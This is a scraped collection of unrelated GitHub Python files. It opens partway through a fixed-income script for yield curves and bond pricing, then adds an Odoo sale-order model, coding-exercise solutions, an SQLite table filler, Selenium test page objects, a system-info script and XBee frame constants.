(Zp+Zm-2*Z0)/(Z0*0.0001**2)\r\n df_cete.loc[i,['P', 'modD', 'C']] = Z0,D0,C\r\n\r\n\r\n#%% RATES TERM STRUCTURE\r\n\r\n# import historic data\r\ntmppath = r'H:\\Python\\KaxaNuk\\FixedIncome'\r\ndb_cetes = pd.read_excel(tmppath+r'\\HistoricoDeuda.xlsx', sheet_name='Cetes')\r\ndb_mbonos = pd.read_excel(tmppath+r'\\HistoricoDeuda.xlsx', sheet_name='Bonos')\r\n\r\n# Function to extract maturity data from bond serial name\r\ndef bond_mty_from_name(serial_name: str) -> dt.datetime:\r\n \"\"\"\r\n Parse bond maturity date from string serial name data.\r\n\r\n Args:\r\n - serial_name (str): Bond serial name from ticker/name/name_id column data.\r\n\r\n Returns:\r\n (dt.datetime) Bond maturity date.\r\n \"\"\"\r\n # Get maturity string\r\n str_mty = serial_name[-6:]\r\n # Maturity in datetime type\r\n T = dt.datetime(2000+int(str_mty[:2]), int(str_mty[2:4]), int(str_mty[-2:]))\r\n return T\r\n\r\n# Set dates\r\ndt_date1, dt_date2 = dt.datetime(2023,10,2), dt.datetime(2023,9,4)\r\n\r\n# ZCBs\r\ncond_date1 = (db_cetes['dteDate'] == dt_date1)\r\ncond_date2 = (db_cetes['dteDate'] == dt_date2)\r\ndf_zcb = db_cetes[cond_date1].\\\r\n sort_values('DTM')[['DTM', 'YTM', 'txtInstrumento']].\\\r\n set_index('txtInstrumento').merge(\r\n db_cetes[cond_date2][['DTM', 'YTM', 'txtInstrumento']],\r\n how='inner', left_on='txtInstrumento', right_on='txtInstrumento')\r\n# CETE Yield Curve\r\nax = df_zcb.set_index('DTM_x')[['YTM_x','YTM_y']].plot(title='CETE Curve', marker='o', mfc='w')\r\nax.legend([dt_date1.strftime(\"%d-%b-%Y\"), dt_date2.strftime(\"%d-%b-%Y\")])\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n# Ms\r\ncond_date1 = (db_mbonos['dteDate'] == dt_date1)\r\ncond_date2 = (db_mbonos['dteDate'] == dt_date2)\r\ndf_M = db_mbonos[cond_date1].\\\r\n sort_values('DTM')[['DTM', 'YTM', 'txtInstrumento']].\\\r\n set_index('txtInstrumento').merge(\r\n db_mbonos[cond_date2][['DTM', 'YTM', 'txtInstrumento']],\r\n how='inner', left_on='txtInstrumento', right_on='txtInstrumento').\\\r\n drop(range(4)).reset_index(drop=True)\r\n# MBONO Yield Curve\r\nax = df_M.set_index('DTM_x')[['YTM_x','YTM_y']].plot(title='MBONO Curve', marker='o', mfc='w')\r\nax.legend([dt_date1.strftime(\"%d-%b-%Y\"), dt_date2.strftime(\"%d-%b-%Y\")])\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n# MXN Govt YC\r\nsel_cete = ['BI_CETES_231101', 'BI_CETES_231130', 'BI_CETES_231228', \r\n 'BI_CETES_240404', 'BI_CETES_240627', 'BI_CETES_241003', \r\n 'BI_CETES_250320']\r\ncond_isSelCete = db_cetes['txtInstrumento'].isin(sel_cete)\r\ncond_isCeteInDt = db_cetes['dteDate'] == dt_date1 #dt_date2\r\ncond_isMinDt = db_mbonos['dteDate'] == dt_date1 #dt_date2\r\ndf_crv_mx = pd.concat([db_cetes[cond_isCeteInDt*cond_isSelCete].sort_values('DTM'),\r\n db_mbonos[cond_isMinDt].sort_values('DTM').reset_index(drop=True).drop(range(4))]).reset_index(drop=True)\r\ndf_crv_mx['class'] = 'M'\r\ndf_crv_mx['class'][df_crv_mx['txtInstrumento'].apply(lambda x: x[:2]) == 'BI'] = 'Z'\r\n\r\n# plot\r\ntmpdf = df_crv_mx.copy()\r\ntmprowZ = tmpdf[tmpdf['class'] == 'M'].iloc[0]; tmprowZ['class'] = 'Z'\r\ntmprowM = tmpdf[tmpdf['class'] == 'Z'].iloc[-1]; tmprowM['class'] = 'M'\r\ntmpdf = tmpdf.append(tmprowM).append(tmprowZ).sort_values('DTM')\r\ngrps = tmpdf.groupby('class')\r\nfor name, group in grps:\r\n ax = group.set_index('DTM')['YTM'].plot(marker='o', mfc='w')\r\nplt.title(f'MXN Govt Yield Curve\\n{dt_date2.strftime(\"%d-%b-%Y\")}')\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nax.legend(['MBONOs', 'CETEs'])\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n#%% BOOTSTRAPPING\r\nfrom scipy.optimize import minimize\r\n# Market rates\r\ncrv_mkt = df_crv_mx.drop(range(9,21))[['txtInstrumento','CPA','DTM','YTM','class']]\r\ncrv_mkt = crv_mkt.append(db_cetes[['txtInstrumento','DTM','YTM',]].iloc[-1]).sort_values('DTM').reset_index(drop=True)\r\ncrv_mkt.loc[7,'class'] = 'Z'\r\ncrv_mkt = crv_mkt.drop([4,6]).reset_index(drop=True)\r\n# plot\r\ntmpdf = crv_mkt.copy()\r\ntmprowZ = tmpdf[tmpdf['class'] == 'M'].iloc[0]; tmprowZ['class'] = 'Z'\r\ntmprowM = tmpdf[tmpdf['class'] == 'Z'].iloc[-1]; tmprowM['class'] = 'M'\r\ntmpdf = tmpdf.append(tmprowM).append(tmprowZ).sort_values('DTM')\r\ngrps = tmpdf.groupby('class')\r\nfor name, group in grps:\r\n ax = group.set_index('DTM')['YTM'].plot(marker='o', mfc='w')\r\nplt.title(f'MXN Govt Yield Curve\\n{dt_date2.strftime(\"%d-%b-%Y\")}')\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nax.legend(['MBONOs', 'CETEs'])\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n###############################################################################\r\n# Zero Crv Init\r\ncrv_Z = crv_mkt[crv_mkt['class'] == 'Z'][['DTM','YTM']].rename(columns={'YTM':'Z'})\r\n###############################################################################\r\n# M mar26 bootstrap\r\nmar26_price, df_mar26 = bond_price(dt.date(2023,10,2), dt.date(2026,3,5), 182, 100, 5.75/100, 10.52/100, 182/360)\r\ndf_mar26['Z'] = np.interp(df_mar26['dtm'].to_numpy(),crv_Z['DTM'],crv_Z['Z'])\r\ndf_mar26['PV_CF_Z'] = df_mar26['CF']/(1+df_mar26['Z']*df_mar26['dtm']/36000)\r\ndef opt_f_mar26(r):\r\n df_mar26['Z'].iloc[-1] = r\r\n df_mar26['PV_CF_Z'] = df_mar26['CF']/(1+df_mar26['Z']*df_mar26['dtm']/36000)\r\n delta = 1e4*(mar26_price - df_mar26['PV_CF_Z'].sum())**2\r\n return delta\r\nopt_res_mar26 = minimize(opt_f_mar26, df_mar26['Z'].iloc[-1], method='BFGS')\r\n###############################################################################\r\n# Zero Crv Update\r\ncrv_Z = crv_Z.append(df_mar26[['dtm','Z']].iloc[-1].rename({'dtm':'DTM'}))\r\n###############################################################################\r\n# M sep26 boostrap\r\nsep26_price, df_sep26 = bond_price(dt.date(2023,10,2), dt.date(2026,9,3), 182, 100, 7/100, 10.535/100, 182/360)\r\ndf_sep26['Z'] = np.interp(df_sep26['dtm'].to_numpy(),crv_Z['DTM'],crv_Z['Z'])\r\ndf_sep26['PV_CF_Z'] = df_sep26['CF']/(1+df_sep26['Z']*df_sep26['dtm']/36000)\r\ndef opt_f_sep26(r):\r\n df_sep26['Z'].iloc[-1] = r\r\n df_sep26['PV_CF_Z'] = df_sep26['CF']/(1+df_sep26['Z']*df_sep26['dtm']/36000)\r\n delta = 1e4*(sep26_price - df_sep26['PV_CF_Z'].sum())**2\r\n return delta\r\nopt_res_sep26 = minimize(opt_f_sep26, df_sep26['Z'].iloc[-1], method='BFGS')\r\n###############################################################################\r\n# Zero Crv Update\r\ncrv_Z = crv_Z.append(df_sep26[['dtm','Z']].iloc[-1].rename({'dtm':'DTM'}))\r\ncrv_Z = crv_Z.append(pd.DataFrame({'DTM':1,'Z':11.25}, index=range(1)),ignore_index=True)\r\ncrv_Z = crv_Z.sort_values('DTM').reset_index(drop=True)\r\n###############################################################################\r\n# Zero Curve Smoothing\r\nzero_rates = np.interp(np.arange(1,crv_Z.iloc[-1]['DTM']+1,1), \r\n crv_Z['DTM'],crv_Z['Z'])\r\ndisc_factors = pd.DataFrame(1/(1+zero_rates*np.arange(1,crv_Z.iloc[-1]['DTM']+1,1)/36000), columns=['df1'])\r\ndisc_factors['df2'] = disc_factors.shift()\r\ndisc_factors.loc[0,'df2'] = 1\r\nfwd_rates = 36000*(disc_factors['df2']/disc_factors['df1']-1)\r\ndf_z_rates = pd.DataFrame(zero_rates, index=np.arange(1,crv_Z.iloc[-1]['DTM']+1,1))\r\ndf_fwd_rates = pd.DataFrame(fwd_rates.values, index=np.arange(1,crv_Z.iloc[-1]['DTM']+1,1))\r\n# Zero Curve Plot\r\nax = df_z_rates.plot(title='Zero Rates Curve', legend=False)\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nplt.tight_layout()\r\nplt.show()\r\n# Fwd Curve Plot\r\nax = df_fwd_rates.plot(title='Forward Rates Curve', legend=False)\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"Days to Maturity (DTM)\")\r\nax.set_ylabel(\"Rate(%)\")\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n#%%############################################################################\r\n# QUANTLIB\r\nimport QuantLib as ql\r\n\r\ntrade_date = dt.datetime(2023,10,10)\r\nql_valdate = ql.Date(trade_date.day, trade_date.month, trade_date.year)\r\nql.Settings.instance().evaluationDate = ql_valdate\r\n\r\n# Function to parse datetime into ql.Date\r\ndef parse_datetime_2_qlDate(date: dt.datetime) -> ql.Date:\r\n \"\"\"\r\n Parse bond maturity date from datetime to ql.Date type.\r\n\r\n Args:\r\n - date (dt.datetime): Date to parse.\r\n\r\n Returns:\r\n (ql.Date) Date as ql.Date data type.\r\n \"\"\"\r\n # Extract date atoms\r\n day, month, yr = date.day, date.month, date.year\r\n return ql.Date(day, month, yr)\r\n\r\n# MBONO Curve\r\ndf_crv_m = db_mbonos[db_mbonos['dteDate'] == dt_date1][\r\n ['txtInstrumento','DTM','YTM','CPA']].reset_index(drop=True).sort_values('DTM')\r\ndf_crv_m['MTY'] = df_crv_m['txtInstrumento'].apply(bond_mty_from_name)\r\ndf_crv_m['MTY_ql'] = df_crv_m['MTY'].apply(parse_datetime_2_qlDate)\r\n\r\nspotDates = df_crv_m['MTY_ql'].tolist()\r\nspotDates.insert(0, ql_valdate)\r\nspotRates = (df_crv_m['YTM']/100).tolist()\r\nspotRates.insert(0, 11.25/100)\r\n\r\ndayCount = ql.Actual360()\r\ncalendar = ql.Mexico()\r\ninterpolation = ql.Linear()\r\ncompType= ql.Compounded\r\ncompFreq = ql.Annual #ql.OtherFrequency\r\n\r\n# M31\r\nissueDate = ql.Date(23,6,2011)\r\nmaturityDate = df_crv_m[df_crv_m['MTY']=='2031-05-29']['MTY_ql'].values[0]\r\ntenor = ql.Period('26W')\r\ncalendar = ql.Mexico()\r\nbussinessConvention = ql.Following\r\ndateGeneration = ql.DateGeneration.Backward\r\nmonthEnd = False\r\n# Bond pmt schedule\r\nschedule = ql.Schedule(issueDate, maturityDate, tenor, calendar, \r\n bussinessConvention, bussinessConvention, \r\n dateGeneration, monthEnd)\r\nlist(schedule)\r\ndayCount = ql.Actual360()\r\ncouponRate = df_crv_m[df_crv_m['MTY']=='2031-05-29']['CPA'].to_numpy()[0]/100\r\ncoupons = [couponRate]\r\n\r\nsettlementDays = 2\r\nfaceValue = 100\r\nfixedRateBond = ql.FixedRateBond(settlementDays, faceValue, schedule, coupons, dayCount)\r\n\r\n# Use this curve for pricing via bootstrapped zero curve\r\nspotCurve = ql.ZeroCurve(spotDates, spotRates, dayCount, calendar, \r\n interpolation, compType)\r\nspotCurveHandle = ql.YieldTermStructureHandle(spotCurve)\r\n\r\n# Use this workaround curve for pricing with the YTM\r\n#flatCrv = ql.FlatForward(ql.Date(12,10,2023), ql.QuoteHandle(ql.SimpleQuote(ytm)), dayCount, compType, compFreq)\r\nflatCrv = ql.FlatForward(2, ql.Mexico(), ql.QuoteHandle(ql.SimpleQuote(ytm)), dayCount, 1, 2)\r\nytm_engine = ql.DiscountingBondEngine(ql.YieldTermStructureHandle(flatCrv))\r\nbondEngine = ql.DiscountingBondEngine(spotCurveHandle)\r\nfixedRateBond.setPricingEngine(ytm_engine)\r\n\r\nprint(fixedRateBond.NPV())\r\nprint(fixedRateBond.dirtyPrice())\r\nprint(fixedRateBond.cleanPrice())\r\nprint(fixedRateBond.accruedAmount())\r\nprint(fixedRateBond.dayCounter())\r\nprint(fixedRateBond.settlementDate())\r\n\r\n# Price with -50bp shift\r\ndv01 = ql.BondFunctions.basisPointValue(fixedRateBond, ql.InterestRate(ytm, dayCount, 1,2))\r\nP0 = fixedRateBond.dirtyPrice()\r\nD = ql.BondFunctions.duration(fixedRateBond, ql.InterestRate(ytm, dayCount, 1,2), ql.Duration.Macaulay)\r\nmodD = ql.BondFunctions.duration(fixedRateBond, ql.InterestRate(ytm, dayCount, 1,2))/1\r\nC = ql.BondFunctions.convexity(fixedRateBond, ql.InterestRate(ytm, dayCount, 1,2))\r\ndr = 0.0015\r\ndeltaPx = P0*(C/2*(dr**2) - modD*(-dr)) # deltaPx = P0*(dr**2)*C/2 - dv01*dr/0.0001\r\nP1 = P0 + deltaPx\r\nnp.round(P1,6), np.round(fixedRateBond.dirtyPrice(ytm-dr,dayCount, 1, 2),6)\r\n\r\nfor c in fixedRateBond.cashflows():\r\n print('%20s %12f' % (c.date(), c.amount()))\r\n \r\npd.DataFrame([(ql.as_coupon(c).accrualStartDate(), ql.as_coupon(c).accrualEndDate())\r\n for c in fixedRateBond.cashflows()[:-1]],\r\n columns = ('start','end'), index = range(1,len(fixedRateBond.cashflows()))\r\n )\r\n\r\n## MANUALLY\r\nytm = df_crv_m[df_crv_m['MTY']=='2031-05-29']['YTM'].to_numpy()[0]/100\r\n# M31 Price & CF table\r\nm31_price, df_m31 = bond_price(settle_date, mty_date, coup_freq, vn, \r\n coupon_rate, ytm, yearbase_conv)\r\n# accrued interest\r\nm31_accInt = (182-df_m31.iloc[0]['dtm'])/360*coupon_rate*par_value\r\nm31_price_cln = m31_price - m31_accInt\r\nprint(f'The price of the bond is: ${m31_price: .6f}')\r\nprint(f'Bond clean price: ${m31_price_cln: .6f}')\r\nprint(f'Bond accrued interest: ${m31_accInt: .6f}')\r\nprint(f\"M31 Specs:\\n{df_m31}\")\r\n\r\n#%% 1a. Compound Interest Calculation\r\ndef compound_interest(P: float, r: float, n: int) -> dict:\r\n \r\n results = {}\r\n \r\n \"\"\"\r\n Calculate and print the capital plus interest at the end of each year.\r\n\r\n Args:\r\n - P (float): Initial capital.\r\n - r (float): Interest rate per period (as a decimal, for example, 0.05 for 5%).\r\n - n (int): Number of years.\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n for i in range(1, n+1):\r\n A = P * (1 + r) ** i\r\n print(f\"Year {i}: Capital + Interest = {A:.2f}\")\r\n results['Year ' + str(i)] = A\r\n \r\n return results\r\n\r\n# Example:\r\ncomp_interest = compound_interest(1000, 0.05, 3)\r\n\r\n#%% 1b. Net Present Value Calculation\r\ndef calculate_npv(r: float, C0: float, cashflows: list) -> float:\r\n \r\n \"\"\"\r\n Calculate and print the Net Present Value and determine if a project is profitable.\r\n\r\n Args:\r\n - r (float): Discount rate (as a decimal, for example, 0.05 for 5%).\r\n - C0 (float): Initial investment.\r\n - cashflows (list of float): List of cash flows per period.\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n NPV = -C0\r\n for i, CF in enumerate(cashflows, 1):\r\n \r\n NPV += CF / (1 + r) ** i\r\n\r\n print(f\"NPV = {NPV:.2f}\")\r\n if NPV > 0:\r\n print(\"The project is profitable.\")\r\n else:\r\n print(\"The project is not profitable.\")\r\n \r\n return NPV\r\n\r\n# Example:\r\nnpv = calculate_npv(0.05, 10000, [3000, 4000, 5000])\r\n\r\n\r\n","repo_name":"arnois/Quant_Sciencie","sub_path":"fixed_income.py","file_name":"fixed_income.py","file_ext":"py","file_size_in_byte":39014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72454373264","text":"from odoo import fields, models\n\n\nclass SaleOrder(models.Model):\n _name = 'sale.order'\n _inherit = ['sale.order', 'integration.model.mixin']\n\n integration_id = fields.Many2one(\n string='e-Commerce Integration',\n comodel_name='sale.integration',\n readonly=True\n )\n\n integration_delivery_note = fields.Text(\n string='e-Commerce Delivery Note',\n copy=False,\n )\n\n sub_status_id = fields.Many2one(\n string='e-Commerce Order Status',\n comodel_name='sale.order.sub.status',\n domain='[(\"integration_id\", \"=\", integration_id)]',\n ondelete='set null',\n copy=False,\n )\n\n payment_method_id = fields.Many2one(\n string='e-Commerce Payment method',\n comodel_name='sale.order.payment.method',\n domain='[(\"integration_id\", \"=\", integration_id)]',\n ondelete='set null',\n copy=False,\n )\n\n def write(self, vals):\n statuses_before_write = {}\n\n if vals.get('sub_status_id'):\n for order in self:\n statuses_before_write[order] = order.sub_status_id\n\n result = super().write(vals)\n\n if vals.get('sub_status_id'):\n for order in self:\n if statuses_before_write[order] == order.sub_status_id:\n continue\n\n integration = order.integration_id\n if not integration:\n continue\n\n if not integration.job_enabled('export_sale_order_status'):\n continue\n\n key = f'export_sale_order_status_{order.id}'\n integration.with_delay(\n identity_key=key\n ).export_sale_order_status(order)\n\n return result\n","repo_name":"JUMO-Technologies/prestashop","sub_path":"integration/models/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27402132772","text":"#\n# @lc app=leetcode id=279 lang=python3\n#\n# [279] Perfect Squares\n#\n\n# @lc code=start\nclass Solution:\n def numSquares(self, n: int) -> int:\n flag = n\n res = []\n while flag > 5:\n root = self.numSquares(flag)\n res.append(root)\n print(res)\n flag = n - root * root\n if flag == 5:\n res.append(2)\n return len(res)\n else:\n return 0\n\n \n \n def findRoot(self, n:int) -> int:\n for i in range(n, 0, -1):\n if i * i <= n:\n return i\n return 0\n# @lc code=end\n\n","repo_name":"worldofmagic/leetcode","sub_path":"python/279.perfect-squares.py","file_name":"279.perfect-squares.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39135350567","text":"# 냅색문제\n# 출처: https://baebalja.tistory.com/254\n# 추가설명: https://myunji.tistory.com/364\nfrom bisect import bisect_right\n\nN, C = map(int, input().split())\nthings = list(map(int, input().split()))\n\n# 물건 개수를 기준으로 절반으로 나누고, 각각 dfs를 돌린 결과를 저장\npart1 = []\npart2 = []\n\n\ndef dfs(start, end, part, cur_sum, th):\n # 끝까지 도달했으면 해당 조합의 무게 합을 저장\n if start > end:\n part.append(cur_sum)\n return\n # 물건을 담는지, 안 담는지 여부로 나누어 재귀\n else:\n dfs(start + 1, end, part, cur_sum, th)\n dfs(start + 1, end, part, cur_sum + th[start], th)\n\n\ndfs(0, N // 2 - 1, part1, 0, things)\ndfs(N // 2, N - 1, part2, 0, things)\n\npart2.sort()\n\nanswer = 0\nfor i in range(len(part1)):\n # 더 담을 수 있는 최대무게 = 가방의 무게 - part1[i]\n x = C - part1[i]\n # part2에서 이분탐색으로 찾은 위치: 더 담을 수 있는 최대무게 이하인 값들의 개수\n answer += bisect_right(part2, x)\n\nprint(answer)\n\n\"\"\"\n- 난이도: 골드1\n- 분류: 투포인터\n\n- Meet in the middle (MITM) 알고리즘\n1. 입력을 반으로 나누어서 처리\n2. 앞부분 입력에 대한 모든 경우의 수를 계산하여 저장\n3. 뒷부분 입력에 대한 모든 경우의 수를 계산하면서, 앞부분 입력에서 필요한 값을 찾아서 결과를 계산\n4. 결과를 합쳐서 최종 결과를 도출\n\"\"\"\n","repo_name":"yg-moon/problem-solving","sub_path":"baekjoon/step/lv2+/투 포인터/1450.py","file_name":"1450.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"7607291642","text":"#!/usr/bin/python3\n\"\"\" Module say my name prints My name is \n Prototype: def say_my_name(first_name, last_name=\"\"):\n first_name and last_name must be strings otherwise,\n raise a TypeError exception with the message\n first_name must be a string or last_name must be a string\n\"\"\"\n\n\ndef say_my_name(first_name, last_name=\"\"):\n \"\"\" Funcion say_my_name\n Args:\n first_name (str): input string\n last_name (str): input string\n Return:\n Nothing\n \"\"\"\n if type(first_name) is not str:\n raise TypeError(\"first_name must be a string\")\n if type(last_name) is not str:\n raise TypeError(\"last_name must be a string\")\n print(\"My name is {} {}\".format(first_name, last_name))\n","repo_name":"SebastianBlandon/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/3-say_my_name.py","file_name":"3-say_my_name.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28787197551","text":"import sqlite3\nimport random\n\nconn = sqlite3.connect(r'SQLite/main.db') # Создаем DB\n\ncur = conn.cursor()\n\ncur.execute(\"\"\"CREATE TABLE IF NOT EXISTS Ships(\n ship TEXT PRIMARY KEY,\n weapon TEXT REFERENCES Weapons(weapon),\n hull TEXT REFERENCES Hulls(hull),\n engine TEXT REFERENCES Engines(engine)\n );\n\"\"\") # Создаем таблицу Ships\nconn.commit() # Сохраняем изменения\n\ni = 1\nwhile i <= 200: # Задаем количество заполняемых строк\n name_ships = 'ship_' + str(i) # Определяем заполнение колонки 'ship'\n name_weapons = 'weapon_' + str(i) # Определяем заполнение колонки 'weapon'\n name_hulls = 'hull_' + str(i) # Определяем заполнение колонки 'hull'\n name_engines = 'engine_' + str(i) # Определяем заполнение колонки 'ship'\n more_ships = [(name_ships, name_weapons, name_hulls, name_engines)] # Формируем кортеж\n cur.executemany(\"INSERT INTO Ships VALUES(?, ?, ?, ?);\", more_ships) # Заполняем таблицу данными\n i += 1\n\nconn.commit()\n\ncur.execute(\"\"\"CREATE TABLE IF NOT EXISTS Weapons(\n weapon TEXT PRIMARY KEY,\n reload_speed INT,\n rotation_speed INT,\n diameter INT,\n power_volley INT,\n count INT);\n\"\"\") # Создаем таблицу Weapons\nconn.commit()\n\ni = 1\nwhile i <= 20:\n name_weapons = 'weapon_' + str(i)\n more_weapons = [(name_weapons, random.randint(1, 20), random.randint(1, 20),\n random.randint(1, 20), random.randint(1, 20), random.randint(1, 20))]\n cur.executemany(\"INSERT INTO Weapons VALUES(?, ?, ?, ?, ?, ?);\", more_weapons)\n i += 1\n\nconn.commit()\n\ncur.execute(\"\"\"CREATE TABLE IF NOT EXISTS Hulls(\n hull TEXT PRIMARY KEY,\n armor INT,\n type INT,\n capacity INT);\n\"\"\") # Создаем таблицу Hulls\nconn.commit()\n\ni = 1\nwhile i <= 5:\n name_hulls = 'hull_' + str(i)\n more_hulls = [(name_hulls, random.randint(1, 20), random.randint(1, 20), random.randint(1, 20))]\n cur.executemany(\"INSERT INTO Hulls VALUES(?, ?, ?, ?);\", more_hulls)\n i += 1\n\nconn.commit()\n\ncur.execute(\"\"\"CREATE TABLE IF NOT EXISTS Engines(\n engine TEXT PRIMARY KEY,\n power INT,\n type INT);\n\"\"\") # Создаем таблицу Engines\n\nconn.commit()\n\ni = 1\nwhile i <= 6:\n name_engines = 'engine_' + str(i)\n more_engines = [(name_engines, random.randint(1, 20), random.randint(1, 20))]\n cur.executemany(\"INSERT INTO Engines VALUES(?, ?, ?);\", more_engines)\n i += 1\n\nconn.commit()\n","repo_name":"Aleksandr-QAP/portfolio","sub_path":"wargaming/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30391984388","text":"import Labyrinth\nfrom AgentMultiThread import *\nfrom AgentSingleThread import *\n\nrun_single_thread_example = False\nrun_multi_thread_example = True\nrun_simple_tests = False\n\n##########################\n# single thread solving #\n##########################\n\nif run_single_thread_example:\n labyrinth_object = Labyrinth(3, 5)\n labyrinth_object.print_labyrinth()\n labyrinth_object.toggle_wall(1, 2)\n labyrinth_object.print_labyrinth()\n\n agent = AgentSingleThread(labyrinth_object.get_data_model(), [1, 1], 0)\n agent.set_start(1, 4)\n agent.set_end(1, 1)\n\n agent.solve_single_thread()\n agent.build_route_to_end()\n\n########################\n# multi thread solving #\n########################\n\nif run_multi_thread_example:\n labyrinth_object = Labyrinth(10, 10)\n labyrinth_object.print_labyrinth()\n # labyrinth_object.toggle_wall(1, 2)\n labyrinth_object.toggle_wall(3, 1)\n labyrinth_object.toggle_wall(3, 2)\n labyrinth_object.print_labyrinth()\n\n agent = AgentMultiThread(labyrinth_object, [1, 1], [])\n agent.set_end(4, 1)\n agent.solve_with_visitorlist()\n # = 0\n # while len(agent.labyrinth_object.get_route()) == 0: # sometimes shit happens to get valid result\n # i += 1\n # print('i:', i)\n # agent.solve_with_visitorlist()\n print('Test-Solver: get route:', agent.labyrinth_object.get_route())\n # print('visited list:', agent.labyrinth_object.get_visited_list()) # if all solve_multithread is sys.exit instead of return\n # this message can not be printed\n\n#########\n# Tests #\n#########\n\n# test_labyrinth = Labyrinth(3, 10)\nif run_simple_tests:\n print()\n print('################### NEW TESTS ###################')\n print()\n neighbors = [[1, 2], [2, 1], [1, 0]]\n for i in range(0, len(neighbors) - 1):\n print('in loop:', neighbors[i])\n\n print('outside the loop:', neighbors[len(neighbors) - 1])\n","repo_name":"s3fagawaakaderkingvomhinterhof/Aufgabe2-Labyrinth","sub_path":"Test-Solver.py","file_name":"Test-Solver.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11797246409","text":"from source.base_page.data import Credentials\nfrom source.dashboard.dashboard_locators import (\n CampaignLocator as CL,\n)\nfrom source.base_page.base_page_task import BasePage\n\nimport os \n\n\nclass CampaignPage(BasePage):\n\n def create_campaign(self, repo_root):\n \"\"\"Create new campaign\n \"\"\" \n if self.is_enabled(CL.BUTTON_CREATE_CAMPAIGN):\n self.click(CL.BUTTON_CREATE_CAMPAIGN)\n else:\n self.click(CL.BUTTON_CREATE)\n self.click(CL.REACH_BUTTON)\n self.keys(CL.INPUT_LINK, Credentials.CAMPAIGN_LINK)\n self.move_to(CL.BUDGET_BLOCK)\n self.keys(CL.BUDGET_PER_DAY, '100')\n self.keys(CL.BUDGET_TOTAL,'1000')\n self.click(CL.FIELD_BANNER)\n scr = os.path.join(repo_root, \"test.jpeg\")\n self.move_to(CL.FIELD_UPLOAD_IMAGE)\n self.keys(CL.INPUT_IMAGE, scr)\n self.shot(\"Adding campaign\")\n self.click(CL.BUTTON_CREATE)\n\n def check_campaign_added(self): \n try:\n assert self.is_enabled(CL.RECORD_CAMPAIGN)\n except:\n assert False, \"Campaign dont created\"\n\n def delete_campaign(self): \n if self.len_elements(CL.RECORD_CAMPAIGN, retry=True) is not None:\n self.click(CL.SELECT_RECORD)\n self.click(CL.DROP_ACTIONS)\n self.click(CL.DELETE_RECORD)\n self.web_driver.refresh()\n\n\n\n","repo_name":"ids21/2021-2-QA-AUTO-PYTHON-VKGROUP-A-Grigorev","sub_path":"HW2/source/dashboard/campaign_page.py","file_name":"campaign_page.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29944427485","text":"import os\nimport psutil\n\ndef get_cpu_count():\n return os.cpu_count()\n\ndef get_ram_size():\n mem = psutil.virtual_memory()\n return mem.total\n\ndef get_disk_space():\n disk = psutil.disk_usage('/')\n return disk.total\n\nif __name__ == \"__main__\":\n cpu_count = get_cpu_count()\n ram_size = get_ram_size()\n disk_space = get_disk_space()\n\n print(\"İşlemci Sayısı:\", cpu_count)\n print(\"RAM Miktarı:\", ram_size, \"bytes\")\n print(\"Boştaki Disk Alanı:\", disk_space, \"bytes\")\n","repo_name":"yasin5255/get-system-info","sub_path":"gsi.py","file_name":"gsi.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32688504488","text":"\n# frame delimiter symbol for API mode\napiFrameDelimiter = '\\x7e'\n\n# frame escape character used in API mode.\n# this character indicates that the next\n# character has been escaped\napiFrameEscapeIndicator = 0x7d\n\n# escaped charater mask for API mode.\n# this charater is XOR'd with a character\n# that has been escaped.\napiFrameEscapeMask = 0x20\n\n# table describing the different types of frames\n# in API mode for the XBee.\napiFrameTypes = {0x00: \"Invalid Frame Type\",\n 0x08: \"AT Command\",\n 0x09: \"AT Command - Queue Parameter Value\",\n 0x10: \"ZigBee Transmit Request\",\n 0x11: \"Explicit Addressing ZigBee Command Frame\",\n 0x17: \"Remote Command Request\",\n 0x21: \"Create Source Route\",\n 0x88: \"AT Command Response\",\n 0x8a: \"Modem Status\",\n 0x90: \"ZigBee Transmit Status\",\n 0x91: \"ZigBee Receive Packet(AO=0)\",\n 0x92: \"ZigBee IO Data Sample 